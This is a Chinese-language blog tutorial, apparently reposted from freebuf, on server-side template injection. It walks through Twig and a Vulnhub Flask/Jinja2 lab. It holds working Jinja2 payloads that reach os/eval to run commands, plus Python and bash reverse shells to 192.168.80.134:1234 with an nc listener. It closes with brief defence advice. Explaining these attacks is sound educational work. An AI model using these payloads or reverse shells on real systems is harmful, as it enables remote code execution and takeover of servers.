SSTI(模板注入)的攻防战 – 作者:Snow狼啊

前言

SSTI 全称Server Side Template Injection,服务器模板注入,先上一张图,各位可先看图根据后文加深印象

图片1.png

SSTI的简单讲解

模板引擎可以让(网站)程序实现界面与数据分离,业务代码与逻辑代码的分离,这大大提升了开发效率,良好的设计也使得代码重用变得更加容易。与此同时,它也扩展了黑客的攻击面。除了常规的 XSS 外,注入到模板中的代码还有可能引发 RCE(远程代码执行)。通常来说,这类问题会在博客,CMS,wiki 中产生。虽然模板引擎会提供沙箱机制,攻击者依然有许多手段绕过它。

和常见Web注入的成因一样,也是服务端接收了用户的输入,将其作为 Web 应用模板内容的一部分,在进行目标编译渲染的过程中,执行了用户插入的恶意内容,因而可能导致了敏感信息泄露、代码执行、GetShell 等问题。其影响范围主要取决于模版引擎的复杂性,所以说 用户的输入永远都是不可信的。

通过模板,Web应用可以把输入转换成特定的HTML文件或者email格式。就拿一个销售软件来说,我们假设它会发送大量的邮件给客户,并在每封邮件前SKE插入问候语,它会通过Twig(一个模板引擎)做如下处理:

$output = $twig->render( $_GET['custom_email'] , array("first_name" => $user.first_name) );

有经验的小伙伴可能会立刻想到xss,但是问题不止如此,此时我们可以尝试使用ssti:假设我们发送如下请求,

    custom_email={{7*7}} // GET 参数
    49  // $output 结果

    还有更神奇的结果:

    custom_email={{self}} // GET 参数
    Object of class
    __TwigTemplate_7ae62e582f8a35e5ea6cc639800ecf15b96c0d6f78db3538221c1145580ca4a5
    could not be converted to string // 错误

我们不难猜到服务器执行了我们传过去的数据。每当服务器用模板引擎解析用户的输入时,这类问题都有可能发生。除了常规的输入外,攻击者还可以通过 LFI触发它。模板注入和 SQL 注入的产生原因有几分相似——都是将未过滤的数据传给引擎解析。

实战

Vulnhub的Flask/Jinja2中的服务端模版注入

首先我们看看他的代码:

from flask import Flask, request
from jinja2 import Template
app = Flask(__name__)
@app.route("/")
def index():
name = request.args.get('name', 'guest')
t = Template("Hello " + name)
return t.render()
if __name__ == "__main__":
app.run()

可以看到Template(“Hello “ +name),Template()则是用户可控的,我们就可以这么来:

图片2.png

图片3.png

随手尝试一波xss,这边是没有经过任何处理的 所以有xss很正常

此时写入模板语句:

图片4.png

可以看到也是能成功执行的,那么我们需要怎么利用呢?

我们知道 在python当中 执行系统命令需要import os模块;

然而 想要在模板中直接调用内置模块 os,即需要在模板环境中对其注册

需要在上层的代码里加一句:

t.globals['os'] = os

如果没有加这一句,直接使用os中的方法会报错。 那么,如何在未注册 os 模块的情况下在模板中调用 popen() 函数执行系统命令呢?这就要用各种下划线函数了。

且因为python2与python3存在差异 所以这里找到了个通用的payload

for c in ().__class__.__bases__[0].__subclasses__():
    if c.__name__=='_IterationGuard':         c.__init__.__globals__['__builtins__']['eval']("__import__('os').system('whoami')")

用jinja的语法即为(执行命令使用os.popen(‘whoami’).read()才有执行结果的回显)

    {% for c in [].__class__.__base__.__subclasses__() %}
    {% if c.__name__=='_IterationGuard' %}
    {{ c.__init__.__globals__['__builtins__']['eval']("__import__('os').popen('whoami').read()") }}
    {% endif %}
    {% endfor %} 

看到别的大神也有使用func_global模块的linecache 我这里也把代码贴出来 其实都是差不多的:

{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
{{c.__init__.func_globals['linecache'].__dict__['os'].system('id') }}
{% endif %}
{% endfor %}

图片5.png可以看到成功执行了whoami命令 后续的话想反弹shell可以直接用python反弹或者bash…

python -c
'import socket,subprocess,os;
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(("192.168.80.134",1234));
os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);
p=subprocess.call(["/bin/bash","-i"]);
'
Bash:
受害机命令
bash -i >& /dev/tcp/x.x.x.x/1234 0>&1

本机命令
nc -lvvvp 1234

防御

尽可能加载静态模板文件

不要允许用户控制此类文件或其内容的路径

来源:freebuf.com 2020-02-18 14:41:06 by: Snow狼啊

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享
评论 抢沙发

请登录后发表评论